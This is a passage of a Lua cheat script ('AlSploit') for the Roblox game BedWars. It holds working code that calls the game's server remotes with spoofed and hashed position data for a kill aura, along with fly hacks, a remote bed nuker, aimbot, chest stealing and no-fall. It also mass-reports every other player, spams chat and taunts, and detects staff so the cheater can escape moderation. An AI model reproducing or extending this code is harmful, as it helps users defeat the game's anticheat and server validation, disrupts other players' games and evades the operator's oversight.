  1496. KillMessage = "I am not cheating, my gaming chair is. | AlSploit On Top"
  1497. end
  1498.  
  1499. if Randomized == 4 then
  1500. KillMessage = "3 years now, and the anticheat is still the same. | AlSploit On Top"
  1501. end
  1502.  
  1503. if Randomized == 5 then
  1504. KillMessage = "Kids in bedwars just keep getting worst. | AlSploit On Top"
  1505. end
  1506.  
  1507. SendChatMessage(KillMessage)
  1508. end
  1509.  
  1510. local function AutoBank()
  1511. local NearestNpc = FindNearestNpc(Settings.AutoBank.Range)
  1512.  
  1513. if NearestNpc then
  1514. CollectEnderChestItems()
  1515. end
  1516.  
  1517. if not NearestNpc then
  1518. SecureEnderChestItems()
  1519. end
  1520. end
  1521.  
  1522. local function FpsBoost()
  1523. for i, v in next, CollectionService:GetTagged("block") do
  1524. if v:GetAttribute("PlacedByUserId") == 0 then
  1525. v.Material = Enum.Material.SmoothPlastic
  1526.  
  1527. for i2, v2 in next, (v:GetDescendants()) do
  1528. if v2:IsA("BasePart") then
  1529. v2.Material = Enum.Material.SmoothPlastic
  1530. end
  1531. end
  1532. end
  1533. end
  1534. end
  1535.  
  1536. function GetSpeed()
  1537. local Speed = 0
  1538.  
  1539. if IsAlive(LocalPlayer) then
  1540.  
  1541. local SpeedDamageBoost = LocalPlayer.Character:GetAttribute("SpeedBoost")
  1542.  
  1543. if SpeedDamageBoost and SpeedDamageBoost > 1 then
  1544. Speed = Speed + (20 * (SpeedDamageBoost - 1))
  1545. end
  1546.  
  1547. if LocalPlayer.Character:GetAttribute("SpeedPieBuff") then
  1548. Speed = Speed + 5
  1549. end
  1550.  
  1551. if LocalPlayer.Character:GetAttribute("GrimReaperChannel") then
  1552. Speed = Speed + 20
  1553. end
  1554.  
  1555. if ZephyrOrb ~= 0 then
  1556. Speed = Speed + 19
  1557. end
  1558.  
  1559. if DamageBoost == true then
  1560. Speed = Speed + 18
  1561. end
  1562.  
  1563. if AnticheatDisabled == true then
  1564. Speed = Speed + 19
  1565. end
  1566.  
  1567. Speed = ((Speed + Settings.Speed.Speed) - 20)
  1568. end
  1569.  
  1570. return Speed
  1571. end
  1572.  
  1573. function GetBlock()
  1574. for i, v in next, GetInventory(LocalPlayer).items do
  1575. if ItemTable[v.itemType].block ~= nil and v.itemType:find("wool") then
  1576. return v.itemType
  1577. end
  1578. end
  1579. end
  1580.  
  1581. local function HasItem(Name)
  1582. for i, v in next, GetInventory(LocalPlayer).items do
  1583. if v.itemType:find(Name) then
  1584. return v
  1585. end
  1586. end
  1587.  
  1588. return nil
  1589. end
  1590.  
  1591. function AutoBuy()
  1592. local NearestNpc = FindNearestNpc(30)
  1593.  
  1594. if NearestNpc then
  1595. local Wool = {
  1596. [1] = {
  1597. ["shopItem"] = {
  1598. ["currency"] = "iron",
  1599. ["itemType"] = "wool_white",
  1600. ["amount"] = 16,
  1601. ["price"] = 8,
  1602. ["category"] = "Blocks"
  1603. },
  1604. ["shopId"] = NearestNpc.Name
  1605. }
  1606. }
  1607.  
  1608. local EmeraldArmor ={
  1609. [1] = {
  1610. ["shopItem"] = {
  1611. ["lockAfterPurchase"] = true,
  1612. ["itemType"] = "emerald_chestplate",
  1613. ["price"] = 40,
  1614. ["customDisplayName"] = "Emerald Armor",
  1615. ["currency"] = "emerald",
  1616. ["category"] = "Combat",
  1617. ["nextTier"] = "",
  1618. ["ignoredByKit"] = {
  1619. [1] = "bigman"
  1620. },
  1621. ["spawnWithItems"] = {
  1622. [1] = "emerald_helmet",
  1623. [2] = "emerald_chestplate",
  1624. [3] = "emerald_boots"
  1625. },
  1626. ["amount"] = 1
  1627. },
  1628. ["shopId"] = NearestNpc.Name
  1629. }
  1630. }
  1631.  
  1632. local DiamondArmor ={
  1633. [1] = {
  1634. ["shopItem"] = {
  1635. ["lockAfterPurchase"] = true,
  1636. ["itemType"] = "Diamond_chestplate",
  1637. ["price"] = 8,
  1638. ["customDisplayName"] = "Diamond Armor",
  1639. ["currency"] = "emerald",
  1640. ["category"] = "Combat",
  1641. ["nextTier"] = "diamond_chestplate",
  1642. ["ignoredByKit"] = {
  1643. [1] = "bigman"
  1644. },
  1645. ["spawnWithItems"] = {
  1646. [1] = "diamond_helmet",
  1647. [2] = "diamond_chestplate",
  1648. [3] = "diamond_boots"
  1649. },
  1650. ["amount"] = 1
  1651. },
  1652. ["shopId"] = NearestNpc.Name
  1653. }
  1654. }
  1655. local IronArmor ={
  1656. [1] = {
  1657. ["shopItem"] = {
  1658. ["lockAfterPurchase"] = true,
  1659. ["itemType"] = "iron_chestplate",
  1660. ["price"] = 120,
  1661. ["customDisplayName"] = "Iron Armor",
  1662. ["currency"] = "iron",
  1663. ["category"] = "Combat",
  1664. ["nextTier"] = "diamond_chestplate",
  1665. ["ignoredByKit"] = {
  1666. [1] = "bigman"
  1667. },
  1668. ["spawnWithItems"] = {
  1669. [1] = "iron_helmet",
  1670. [2] = "iron_chestplate",
  1671. [3] = "iron_boots"
  1672. },
  1673. ["amount"] = 1
  1674. },
  1675. ["shopId"] = NearestNpc.Name
  1676. }
  1677. }
  1678.  
  1679. local LeatherArmor ={
  1680. [1] = {
  1681. ["shopItem"] = {
  1682. ["lockAfterPurchase"] = true,
  1683. ["itemType"] = "leather_chestplate",
  1684. ["price"] = 50,
  1685. ["customDisplayName"] = "Leather Armor",
  1686. ["currency"] = "iron",
  1687. ["category"] = "Combat",
  1688. ["nextTier"] = "iron_chestplate",
  1689. ["ignoredByKit"] = {
  1690. [1] = "bigman"
  1691. },
  1692. ["spawnWithItems"] = {
  1693. [1] = "leather_helmet",
  1694. [2] = "leather_chestplate",
  1695. [3] = "leather_boots"
  1696. },
  1697. ["amount"] = 1
  1698. },
  1699. ["shopId"] = NearestNpc.Name
  1700. }
  1701. }
  1702.  
  1703. local EmeraldSword = {
  1704. [1] = {
  1705. ["shopItem"] = {
  1706. ["disabledInQueue"] = {
  1707. [1] = "tnt_wars"
  1708. },
  1709. ["itemType"] = "emerald_sword",
  1710. ["price"] = 20,
  1711. ["superiorItems"] = {
  1712. [1] = ""
  1713. },
  1714. ["currency"] = "iron",
  1715. ["amount"] = 1,
  1716. ["ignoredByKit"] = {
  1717. [1] = "barbarian",
  1718. [2] = "dasher",
  1719. [3] = "frost_hammer_kit"
  1720. },
  1721. ["category"] = "Combat",
  1722. ["lockAfterPurchase"] = true
  1723. },
  1724. ["shopId"] = "1_item_shop"
  1725. }
  1726. }
  1727.  
  1728. local DiamondSword = {
  1729. [1] = {
  1730. ["shopItem"] = {
  1731. ["disabledInQueue"] = {
  1732. [1] = "tnt_wars"
  1733. },
  1734. ["itemType"] = "diamond_sword",
  1735. ["price"] = 4,
  1736. ["superiorItems"] = {
  1737. [1] = "emerald_sword"
  1738. },
  1739. ["currency"] = "emerald",
  1740. ["amount"] = 1,
  1741. ["ignoredByKit"] = {
  1742. [1] = "barbarian",
  1743. [2] = "dasher",
  1744. [3] = "frost_hammer_kit"
  1745. },
  1746. ["category"] = "Combat",
  1747. ["lockAfterPurchase"] = true
  1748. },
  1749. ["shopId"] = "1_item_shop"
  1750. }
  1751. }
  1752.  
  1753. local IronSword = {
  1754. [1] = {
  1755. ["shopItem"] = {
  1756. ["disabledInQueue"] = {
  1757. [1] = "tnt_wars"
  1758. },
  1759. ["itemType"] = "iron_sword",
  1760. ["price"] = 70,
  1761. ["superiorItems"] = {
  1762. [1] = "diamond_sword"
  1763. },
  1764. ["currency"] = "iron",
  1765. ["amount"] = 1,
  1766. ["ignoredByKit"] = {
  1767. [1] = "barbarian",
  1768. [2] = "dasher",
  1769. [3] = "frost_hammer_kit"
  1770. },
  1771. ["category"] = "Combat",
  1772. ["lockAfterPurchase"] = true
  1773. },
  1774. ["shopId"] = "1_item_shop"
  1775. }
  1776. }
  1777.  
  1778. local StoneSword = {
  1779. [1] = {
  1780. ["shopItem"] = {
  1781. ["disabledInQueue"] = {
  1782. [1] = "tnt_wars"
  1783. },
  1784. ["itemType"] = "stone_sword",
  1785. ["price"] = 20,
  1786. ["superiorItems"] = {
  1787. [1] = "iron_sword"
  1788. },
  1789. ["currency"] = "iron",
  1790. ["amount"] = 1,
  1791. ["ignoredByKit"] = {
  1792. [1] = "barbarian",
  1793. [2] = "dasher",
  1794. [3] = "frost_hammer_kit"
  1795. },
  1796. ["category"] = "Combat",
  1797. ["lockAfterPurchase"] = true
  1798. },
  1799. ["shopId"] = "1_item_shop"
  1800. }
  1801. }
  1802.  
  1803. task.spawn(function()
  1804. if HasItem("diamond_sword") then
  1805. PurchaseItem(EmeraldSword)
  1806. end
  1807.  
  1808. if HasItem("iron_sword") or HasItem("stone_sword") or HasItem("wood_sword") then
  1809. PurchaseItem(DiamondSword)
  1810. end
  1811.  
  1812. if HasItem("stone_sword") and HasItem("iron_chestplate") then
  1813. PurchaseItem(IronSword)
  1814. end
  1815.  
  1816. if HasItem("wood_sword") then
  1817. PurchaseItem(StoneSword)
  1818. end
  1819. end)
  1820.  
  1821. task.spawn(function()
  1822. if HasItem("diamond_chestplate") then
  1823. PurchaseItem(EmeraldArmor)
  1824. end
  1825.  
  1826. if HasItem("iron_chestplate") then
  1827. PurchaseItem(DiamondArmor)
  1828. end
  1829.  
  1830. if HasItem("stone_sword") and not HasItem("iron_chestplate") and not HasItem("diamond_chestplate") and not HasItem("emerald_chestplate") then
  1831. PurchaseItem(LeatherArmor)
  1832. end
  1833.  
  1834. if HasItem("leather_chestplate") then
  1835. PurchaseItem(IronArmor)
  1836. end
  1837. end)
  1838.  
  1839. task.spawn(function()
  1840. if HasItem("iron_chestplate") and HasItem("iron_sword") and Settings.Scaffold.Value == true then
  1841. PurchaseItem(Wool)
  1842. end
  1843. end)
  1844. end
  1845. end
  1846.  
  1847. function AutoKit()
  1848. local FindPetrifiedPlayer = FindPetrifiedPlayer()
  1849. local NearestPlayer = FindNearestPlayer(math.huge)
  1850.  
  1851. task.spawn(function()
  1852. if IsAlive(LocalPlayer) and NearestPlayer then
  1853. HannahPromptTriggerRemote:CallServer({victimEntity = NearestPlayer.Character, ["user"] = LocalPlayer})
  1854. end
  1855. end)
  1856.  
  1857. task.spawn(function()
  1858. if FindPetrifiedPlayer then
  1859. MinerRemote:FireServer({petrifyId = FindPetrifiedPlayer:GetAttribute("PetrifyId")})
  1860. end
  1861. end)
  1862.  
  1863. task.spawn(function()
  1864. TrinitySetAngelTypeRemote:FireServer({angel = "Void"})
  1865. end)
  1866. end
  1867.  
  1868. function IsAlive(Player)
  1869. Player = Player or LocalPlayer
  1870.  
  1871. if not Player.Character then return false end
  1872. if not Player.Character:FindFirstChild("Humanoid") then return false end
  1873. if Player.Character:GetAttribute("Health") <= 0 then return false end
  1874. if not Player.Character.PrimaryPart then return false end
  1875.  
  1876. return true
  1877. end
  1878.  
  1879. function GetItem(Name)
  1880. for i, v in next, (GetInventory(LocalPlayer).items) do
  1881. if v.itemType:find(Name) then
  1882. return v, i
  1883. end
  1884. end
  1885.  
  1886. return nil
  1887. end
  1888.  
  1889. local function SwordHit(Entity, Weapon, NearestEntityDistance)
  1890. local LocalPlayerHumanoidRootPart = LocalPlayer.Character.HumanoidRootPart
  1891. local EntityPrimaryPart = Entity.PrimaryPart
  1892.  
  1893. local SelfPosition = LocalPlayerHumanoidRootPart.Position + (20 > 14 and (LocalPlayerHumanoidRootPart.Position - EntityPrimaryPart.Position).Magnitude > 14.4 and (CFrame.lookAt(LocalPlayerHumanoidRootPart.Position, EntityPrimaryPart.Position).lookVector * ((LocalPlayerHumanoidRootPart.Position - EntityPrimaryPart.Position).Magnitude - 14)) or Vector3.zero)
  1894.  
  1895. task.spawn(function()
  1896. if KillAuraAnimationCooldown and Settings.KillAura.CustomAnimation == true then
  1897. KillAuraAnimationCooldown = false
  1898.  
  1899. if Settings.Sigma.Value == false then
  1900. PlayAnimation(Animations.KillAura)
  1901.  
  1902. KillAuraAnimationCooldown = true
  1903. end
  1904.  
  1905. if Settings.Sigma.Value == true then
  1906. PlayAnimation(Animations.Sigma)
  1907.  
  1908. KillAuraAnimationCooldown = true
  1909. end
  1910. end
  1911. end)
  1912.  
  1913. task.spawn(function()
  1914. if Settings.KillAura.Strafe == true and NearestEntityDistance < (AnticheatDisabled and 16 or 12) then
  1915. LocalPlayerHumanoidRootPart.CFrame = CFrame.new(EntityPrimaryPart.Position - EntityPrimaryPart.CFrame.LookVector * 5 + Vector3.new(0, 0, 5))
  1916. end
  1917. end)
  1918.  
  1919. task.spawn(function()
  1920. if Settings.KillAura.ToolCheck == false then
  1921. task.spawn(function()
  1922. SwitchItem(Weapon.itemType)
  1923. end)
  1924.  
  1925. SelfPosition = LocalPlayerHumanoidRootPart.Position + (20 > 14 and (LocalPlayerHumanoidRootPart.Position - EntityPrimaryPart.Position).Magnitude > 14.4 and (CFrame.lookAt(LocalPlayerHumanoidRootPart.Position, EntityPrimaryPart.Position).lookVector * ((LocalPlayerHumanoidRootPart.Position - EntityPrimaryPart.Position).Magnitude - 14)) or Vector3.zero)
  1926.  
  1927. SwordHitRemote:FireServer({
  1928. weapon = Weapon.tool,
  1929. chargedAttack = {chargeRatio = 0},
  1930. entityInstance = Entity,
  1931. validate = {
  1932. raycast = {
  1933. cameraPosition = HashFunction(LocalPlayerHumanoidRootPart.Position),
  1934. cursorDirection = HashFunction(CFrame.new(SelfPosition, EntityPrimaryPart.Position).lookVector)
  1935. },
  1936. targetPosition = HashFunction(EntityPrimaryPart.Position),
  1937. selfPosition = HashFunction(SelfPosition)
  1938. }
  1939. })
  1940. end
  1941.  
  1942. if Settings.KillAura.ToolCheck == true then
  1943. if HasItem(Weapon.itemType) then
  1944. SelfPosition = LocalPlayerHumanoidRootPart.Position + (20 > 14 and (LocalPlayerHumanoidRootPart.Position - EntityPrimaryPart.Position).Magnitude > 14.4 and (CFrame.lookAt(LocalPlayerHumanoidRootPart.Position, EntityPrimaryPart.Position).lookVector * ((LocalPlayerHumanoidRootPart.Position - EntityPrimaryPart.Position).Magnitude - 14)) or Vector3.zero)
  1945.  
  1946. SwordHitRemote:FireServer({
  1947. weapon = Weapon.tool,
  1948. chargedAttack = {chargeRatio = 0},
  1949. entityInstance = Entity,
  1950. validate = {
  1951. raycast = {
  1952. cameraPosition = HashFunction(LocalPlayerHumanoidRootPart.Position),
  1953. cursorDirection = HashFunction(CFrame.new(SelfPosition, EntityPrimaryPart.Position).lookVector)
  1954. },
  1955. targetPosition = HashFunction(EntityPrimaryPart.Position),
  1956. selfPosition = HashFunction(SelfPosition)
  1957. }
  1958. })
  1959. end
  1960. end
  1961. end)
  1962. end
  1963.  
  1964. function GetBow()
  1965. local BestBow, BestBowDamage = nil, 0
  1966.  
  1967. for i, v in next, GetInventory(LocalPlayer).items do
  1968. if v.itemType:find("bow") then
  1969. local Item = ItemTable[v.itemType].projectileSource
  1970. local Arrow = Item.projectileType("arrow")
  1971. local Damage = ProjectileMeta[Arrow].combat.damage
  1972.  
  1973. if Damage > BestBowDamage then
  1974. BestBowDamage = Damage
  1975. BestBow = v
  1976. end
  1977. end
  1978. end
  1979.  
  1980. return BestBow, BestBowDamage
  1981. end
  1982.  
  1983. local function InfFly()
  1984. if InfiniteFlyValue == true and IsAlive(LocalPlayer) then
  1985. SpoofedCamera = CreateSpoofedCamera()
  1986. StartLevel = LocalPlayer.Character.Head.Position.Y
  1987.  
  1988. if SpoofedCamera then
  1989. SetCamera(SpoofedCamera)
  1990. end
  1991.  
  1992. LocalPlayer.Character.PrimaryPart.CFrame += Vector3.new(0, 1000000, 0)
  1993. SpoofedCamera.Position = Vector3.new(SpoofedCamera.Position.X, StartLevel, SpoofedCamera.Position.Z)
  1994.  
  1995. repeat
  1996. task.wait()
  1997.  
  1998. SpoofedCamera.Position = Vector3.new(LocalPlayer.Character.PrimaryPart.Position.X, SpoofedCamera.Position.Y + (FlyUp and 0.5 or 0) + (FlyDown and -0.5 or 0), LocalPlayer.Character.PrimaryPart.Position.Z)
  1999. StartLevel = SpoofedCamera.Position.Y
  2000. until InfiniteFlyValue == false or not IsAlive(LocalPlayer)
  2001.  
  2002. if InfiniteFlyValue == false or not IsAlive(LocalPlayer) then
  2003. LocalPlayer.Character.PrimaryPart.Anchored = true
  2004. LocalPlayer.Character.PrimaryPart.CFrame = SpoofedCamera.CFrame + Vector3.new(0, 5, 0)
  2005. SetCamera(LocalPlayer.Character)
  2006.  
  2007. SpoofedCamera:Destroy()
  2008.  
  2009. task.wait(0.025)
  2010.  
  2011. WorkSpace.Gravity = 50
  2012. LocalPlayer.Character.PrimaryPart.Anchored = false
  2013.  
  2014. task.wait(1)
  2015.  
  2016. WorkSpace.Gravity = 196.2
  2017. end
  2018. end
  2019. end
  2020.  
  2021. local function Nuker(NearestBed, NearestOre)
  2022. if NearestBed then
  2023. local NukerRaycastParameters = RaycastParams.new()
  2024. local TargetBlock = nil
  2025.  
  2026. NukerRaycastParameters.FilterType = Enum.RaycastFilterType.Exclude
  2027. NukerRaycastParameters.FilterDescendantsInstances = {LocalPlayer.Character}
  2028. NukerRaycastParameters.IgnoreWater = true
  2029.  
  2030. local RaycastResult = WorkSpace:Raycast(NearestBed.Position + Vector3.new(0, 30, 0), Vector3.new(0, -35, 0), NukerRaycastParameters)
  2031.  
  2032. if RaycastResult then
  2033. if RaycastResult.Instance then
  2034. TargetBlock = RaycastResult.Instance
  2035. end
  2036.  
  2037. if not RaycastResult.Instance then
  2038. TargetBlock = NearestBed
  2039. end
  2040.  
  2041. DamageBlockRemote:InvokeServer({
  2042. ["blockRef"] = {
  2043. ["blockPosition"] = GetServerPosition(TargetBlock.Position)
  2044. },
  2045. ["hitPosition"] = GetServerPosition(TargetBlock.Position),
  2046. ["hitNormal"] = GetServerPosition(TargetBlock.Position)
  2047. })
  2048. end
  2049. end
  2050.  
  2051. if not NearestBed and NearestOre then
  2052. if Settings.Nuker.BreakOres == true then
  2053. DamageBlockRemote:InvokeServer({
  2054. ["blockRef"] = {
  2055. ["blockPosition"] = GetServerPosition(NearestOre.Position)
  2056. },
  2057. ["hitPosition"] = GetServerPosition(NearestOre.Position),
  2058. ["hitNormal"] = GetServerPosition(NearestOre.Position)
  2059. })
  2060. end
  2061. end
  2062. end
  2063.  
  2064. local function FlyMe()
  2065. local FlyGroundTime = tick()
  2066.  
  2067. if FlyValue == true and IsAlive(LocalPlayer) then
  2068. task.spawn(function()
  2069. local FlyHud, NumberDisplay, SliderDisplay = CreateFlyHud()
  2070.  
  2071. repeat
  2072. task.wait()
  2073.  
  2074. if tick() - FlyGroundTime <= 2.4 then
  2075. local MaxFlyTime = 2.4
  2076. local FlyTime = DecimalRound(tick() - FlyGroundTime, 1)
  2077.  
  2078. NumberDisplay.Text = FlyTime
  2079.  
  2080. local TweenInformation = TweenInfo.new(0.35, Enum.EasingStyle.Sine, Enum.EasingDirection.Out, 0, false, 0)
  2081. local Tween = TweenService:Create(SliderDisplay, TweenInformation, {Size = UDim2.new(FlyTime / MaxFlyTime, 0, 1, 0)})
  2082.  
  2083. Tween:Play()
  2084. end
  2085.  
  2086. until FlyValue == false or not IsAlive(LocalPlayer)
  2087.  
  2088. FlyHud:Destroy()
  2089. end)
  2090.  
  2091. task.spawn(function()
  2092. FlyBodyVelocity = Instance.new("BodyVelocity")
  2093. FlyBodyVelocity.MaxForce = Vector3.new(0, 9e9, 0)
  2094. FlyBodyVelocity.Name = "FlyBodyVelocity"
  2095. FlyBodyVelocity.Parent = LocalPlayer.Character.PrimaryPart
  2096.  
  2097. FlyGroundTime = tick()
  2098.  
  2099. repeat
  2100. task.wait(LoopWaitTime)
  2101.  
  2102. if TouchingGround() then
  2103. FlyGroundTime = tick()
  2104. end
  2105.  
  2106. if FlyValue == true and IsAlive(LocalPlayer) then
  2107. FlyBodyVelocity.Velocity = Vector3.new(0, (FlyUp and 40 or 0) + (FlyDown and -40 or 0), 0)
  2108.  
  2109. if (tick() - FlyGroundTime) >= 2.4 then
  2110. local FlyTeleportPosition = LocalPlayer.Character.PrimaryPart.Position.Y
  2111.  
  2112. local FlyRaycastParameters = RaycastParams.new()
  2113.  
  2114. FlyRaycastParameters.FilterType = Enum.RaycastFilterType.Include
  2115. FlyRaycastParameters.FilterDescendantsInstances = {CollectionService:GetTagged("block")}
  2116.  
  2117. local Raycast = workspace:Raycast(LocalPlayer.Character.PrimaryPart.Position, Vector3.new(0, -1000, 0), FlyRaycastParameters)
  2118.  
  2119. if Raycast and Raycast.Instance and IsAlive(LocalPlayer) then
  2120. LocalPlayer.Character.PrimaryPart.CFrame = CFrame.new(Raycast.Instance.Position) + Vector3.new(0, LocalPlayer.Character.Humanoid.HipHeight, 0)
  2121.  
  2122. task.wait(0.12)
  2123.  
  2124. if IsAlive(LocalPlayer) then
  2125. LocalPlayer.Character.PrimaryPart.CFrame = CFrame.new(LocalPlayer.Character.PrimaryPart.Position + (Vector3.new(0, FlyTeleportPosition, 0) - Vector3.new(0, LocalPlayer.Character.PrimaryPart.Position.Y, 0)))
  2126.  
  2127. FlyGroundTime = tick()
  2128. end
  2129. end
  2130. end
  2131. end
  2132. until FlyValue == false or not IsAlive(LocalPlayer)
  2133.  
  2134. if LocalPlayer.Character.PrimaryPart:FindFirstChild("FlyBodyVelocity") then
  2135. LocalPlayer.Character.PrimaryPart:FindFirstChild("FlyBodyVelocity"):Destroy()
  2136. FlyGroundTime = tick()
  2137. end
  2138. end)
  2139. end
  2140. end
  2141.  
  2142. task.spawn(function()
  2143. repeat
  2144. task.wait(LoopWaitTime)
  2145.  
  2146. if Settings.KillAura.Value == true and IsAlive(LocalPlayer) and GetMatchState() ~= 0 then
  2147. local NearestEntity, NearestEntityDistance = FindNearestEntity(Settings.KillAura.Range)
  2148. local Sword = GetSword()
  2149.  
  2150. task.spawn(function()
  2151. if not NearestEntity then
  2152. PlayAnimation(Animations.Neutral)
  2153. end
  2154. end)
  2155.  
  2156. task.spawn(function()
  2157. if NearestEntity and Sword then
  2158. SwordHit(NearestEntity, Sword, NearestEntityDistance)
  2159. end
  2160. end)
  2161. end
  2162. until not game
  2163. end)
  2164.  
  2165. task.spawn(function()
  2166. repeat
  2167. task.wait(LoopWaitTime)
  2168.  
  2169. task.spawn(function()
  2170. if Settings.AimAssist.Value == true and IsAlive(LocalPlayer) and GetMatchState() ~= 0 then
  2171. local NearestEntity = FindNearestEntity(Settings.AimAssist.Range)
  2172.  
  2173. if NearestEntity then
  2174. local LookVector = (NearestEntity.PrimaryPart.Position - Camera.CFrame.Position).unit
  2175.  
  2176. Camera.CFrame = CFrame.new(Camera.CFrame.Position, Camera.CFrame.Position + LookVector)
  2177. end
  2178. end
  2179. end)
  2180.  
  2181. task.spawn(function()
  2182. local NearestEntity, NearestEntityDistance = FindNearestEntity(math.huge)
  2183.  
  2184. if Settings.Aimbot.Value == true and IsAlive(LocalPlayer) and NearestEntity and not NearestEntity:FindFirstChildOfClass("ForceField") then
  2185. local BestBow = GetBow()
  2186.  
  2187. if BestBow and IsAlive(LocalPlayer) and NearestEntityDistance > 18 then
  2188. if Settings.Aimbot.ToolCheck == true then
  2189. if HasItem(BestBow.itemType) and HasItem("arrow") then
  2190. local Bow = GetItem(BestBow.itemType)
  2191.  
  2192. if Bow then
  2193. ShootProjectile(ReplicatedStorage.Inventories:FindFirstChild(LocalPlayer.Name):FindFirstChild(BestBow.itemType), "arrow")
  2194. end
  2195. end
  2196. end
  2197.  
  2198. if Settings.Aimbot.ToolCheck == false then
  2199. local Bow = GetItem(BestBow.itemType)
  2200.  
  2201. if Bow and GetItem("arrow") then
  2202. SwitchItem(BestBow.tool)
  2203.  
  2204. ShootProjectile(ReplicatedStorage.Inventories:FindFirstChild(LocalPlayer.Name):FindFirstChild(BestBow.itemType), "arrow")
  2205. end
  2206. end
  2207. end
  2208.  
  2209. if not BestBow and IsAlive(LocalPlayer) then
  2210. if GetItem("fireball") then
  2211. ShootProjectile(ReplicatedStorage.Inventories:FindFirstChild(LocalPlayer.Name):FindFirstChild("fireball"), "fireball")
  2212. end
  2213.  
  2214. if GetItem("snowball") then
  2215. ShootProjectile(ReplicatedStorage.Inventories:FindFirstChild(LocalPlayer.Name):FindFirstChild("snowball"), "snowball")
  2216. end
  2217. end
  2218. end
  2219. end)
  2220.  
  2221. task.spawn(function()
  2222. if Settings.Scaffold.Value == true and IsAlive(LocalPlayer) and GetMatchState() ~= 0 then
  2223. for i = 1, Settings.Scaffold.ExpandDistance do
  2224. local ScaffoldCFrame = LocalPlayer.Character.PrimaryPart.Position + (LocalPlayer.Character.Humanoid.MoveDirection * (i * 3.3)) - Vector3.new(0, (LocalPlayer.Character.PrimaryPart.Size.Y / 2) + (LocalPlayer.Character.Humanoid.HipHeight + 1.5), 0)
  2225. local Position = GetServerPosition(ScaffoldCFrame)
  2226. local Block = GetBlock()
  2227.  
  2228. if Block then
  2229. task.spawn(function()
  2230. PlaceBlock(Position, Block)
  2231. end)
  2232. end
  2233. end
  2234. end
  2235. end)
  2236. until not game
  2237. end)
  2238.  
  2239. task.spawn(function()
  2240. repeat
  2241. task.wait(0.5)
  2242.  
  2243. task.spawn(function()
  2244. if Settings.NoFall.Value == true and IsAlive(LocalPlayer) and GetMatchState() ~= 0 then
  2245. GroundHitRemote:FireServer()
  2246. end
  2247. end)
  2248.  
  2249. task.spawn(function()
  2250. if Settings.ChestStealer.Value == true and IsAlive(LocalPlayer) and GetMatchState() ~= 0 then
  2251. local NearestChest = FindNearestChest()
  2252.  
  2253. if NearestChest then
  2254. StealChest(NearestChest)
  2255. end
  2256. end
  2257. end)
  2258.  
  2259. task.spawn(function()
  2260. if Settings.AutoKit.Value == true and IsAlive(LocalPlayer) and GetMatchState() ~= 0 then
  2261. AutoKit()
  2262. end
  2263. end)
  2264.  
  2265. task.spawn(function()
  2266. if Settings.AutoBank.Value == true and IsAlive(LocalPlayer) and GetMatchState() ~= 0 then
  2267. AutoBank()
  2268. end
  2269. end)
  2270.  
  2271. task.spawn(function()
  2272. if Settings.AutoBuy.Value == true and IsAlive(LocalPlayer) and GetMatchState() ~= 0 then
  2273. AutoBuy()
  2274. end
  2275. end)
  2276.  
  2277. task.spawn(function()
  2278. if Settings.Fov.Value == true and KnitGotten == true then
  2279. FovController:setFOV(Settings.Fov.Fov)
  2280. end
  2281.  
  2282. if Settings.Fov.Value == false and KnitGotten == true then
  2283. FovController:setFOV(ClientHandlerStore:getState().Settings.fov)
  2284. end
  2285. end)
  2286. until not game
  2287. end)
  2288.  
  2289. task.spawn(function()
  2290. repeat
  2291. task.wait(1 / Settings.AutoClicker.Cps)
  2292.  
  2293. if Settings.AutoClicker.Value == true and IsAlive(LocalPlayer) and GetMatchState() ~= 0 then
  2294. task.spawn(function()
  2295. if KnitGotten == true and ClientHandlerStore:getstate().Inventory.observedInventory == "block" and BlockPlacementController.blockPlacer.clientManager then
  2296. local MouseInformation = BlockPlacementController.blockPlacer.clientManager:getBlockSelector():getMouseInfo(0)
  2297.  
  2298. if MouseInformation then
  2299. BlockPlacementController.blockPlacer:placeBlock(MouseInformation.placementPosition)
  2300. end
  2301. end
  2302. end)
  2303.  
  2304. task.spawn(function()
  2305. if KnitGotten == true then
  2306. SwordController:swingSwordAtMouse()
  2307. end
  2308. end)
  2309. end
  2310. until not game
  2311. end)
  2312.  
  2313. task.spawn(function()
  2314. repeat
  2315. task.wait(100 / Settings.ChatSpammer.Speed)
  2316.  
  2317. task.spawn(function()
  2318. if Settings.ChatSpammer.Value == true and GetMatchState() ~= 0 then
  2319. ChatSpam()
  2320. end
  2321. end)
  2322. until not game
  2323. end)
  2324.  
  2325. task.spawn(function()
  2326. local ReportedList = {}
  2327.  
  2328. repeat
  2329. task.wait(LoopWaitTime)
  2330.  
  2331. if Settings.AutoReport.Value == true then
  2332. for i, v in next, PlayerService:GetPlayers() do
  2333. if v ~= LocalPlayer and v:GetAttribute("PlayerConnected") and ReportedList[v] == nil then
  2334. ReportRemote:FireServer(v.UserId)
  2335. ReportedList[v] = true
  2336.  
  2337. task.wait(1)
  2338. end
  2339. end
  2340. end
  2341. until not game
  2342. end)
  2343.  
  2344. task.spawn(function()
  2345. PlayerService.PlayerAdded:Connect(function(Player)
  2346. if Player:IsInGroup(5774246) and Player:GetRankInGroup(5774246) >= 2 then
  2347.  
  2348. task.spawn(function()
  2349. if Settings.AntiStaff.Kick == true then
  2350. LocalPlayer:Kick("A staff has joined your game!")
  2351. end
  2352.  
  2353. CreateNotification(60, "A staff has joined your game!")
  2354. end)
  2355. end
  2356. end)
  2357.  
  2358. task.spawn(function()
  2359. task.wait(5)
  2360.  
  2361. for i, v in next, PlayerService:GetPlayers() do
  2362. task.spawn(function()
  2363. if v:IsInGroup(5774246) and v:GetRankInGroup(5774246) >= 2 then
  2364.  
  2365. task.spawn(function()
  2366. task.spawn(function()
  2367. if Settings.AntiStaff.Kick == true then
  2368. LocalPlayer:Kick("A staff has joined your game!")
  2369. end
  2370. end)
  2371.  
  2372. CreateNotification(60, "A staff has joined your game!")
  2373. end)
  2374. end
  2375. end)
  2376. end
  2377. end)
  2378. end)
  2379.  
  2380. task.spawn(function()
  2381. Client:WaitFor("EntityDamageEvent"):andThen(function(v)
  2382. v:Connect(function(Player)
  2383. if Player.entityInstance == LocalPlayer.Character and Settings.DamageBoost.Value == true and IsAlive(LocalPlayer) and GetMatchState() ~= 0 then
  2384. task.spawn(function()
  2385. DamageBoost = true
  2386.  
  2387. task.wait(0.8)
  2388.  
  2389. DamageBoost = false
  2390. end)
  2391. end
  2392. end)
  2393. end)
  2394. end)
  2395.  
  2396. task.spawn(function()
  2397. task.spawn(function()
  2398. if GetQueueType():find("skywars") then
  2399. repeat task.wait(1) until not IsAlive(LocalPlayer)
  2400.  
  2401. PlayAgainRemote.joinQueue:FireServer({["queueType"] = GetQueueType()})
  2402. end
